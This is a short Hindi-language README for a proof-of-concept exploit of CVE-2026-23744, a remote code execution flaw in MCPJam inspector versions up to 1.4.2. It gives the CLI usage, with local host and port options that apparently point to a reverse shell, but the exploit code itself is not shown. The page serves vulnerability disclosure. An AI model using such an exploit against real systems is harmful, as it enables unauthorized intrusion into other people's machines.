CVE-2026-23744

---

विवरण

MCPJam inspector, MCP सर्वरों के लिए एक लोकल-फर्स्ट डेवलपमेंट प्लेटफ़ॉर्म है। संस्करण <=1.4.2 रिमोट कोड एक्ज़ीक्यूशन भेद्यता से ग्रस्त हैं, जो एक हमलावर को एक क्राफ्टेड HTTP अनुरोध भेजने की अनुमति देता है जो MCP सर्वर की स्थापना को ट्रिगर करता है, जिससे RCE होता है। भेद्यता के विवरण के लिए, संदर्भ देखें।

उपयोग

आवश्यकता

$ pip install requests

प्रूफ-ऑफ-कॉन्सेप्ट उपयोग

$ python3 exploit.py [-h] [--lhost LHOST] [--lport LPORT] [--rhost RHOST] [--rport RPORT]

विकल्प

-h, --help     show the help message and exit
--lhost LHOST  local host IP
--lport LPORT  local host port
--rhost RHOST  remote IP
--rport RPORT  remote port

संदर्भ

• cve.org/CVERecord?id=CVE-2026-23744
• github.com/advisories/GHSA-232v-j27c-5pp6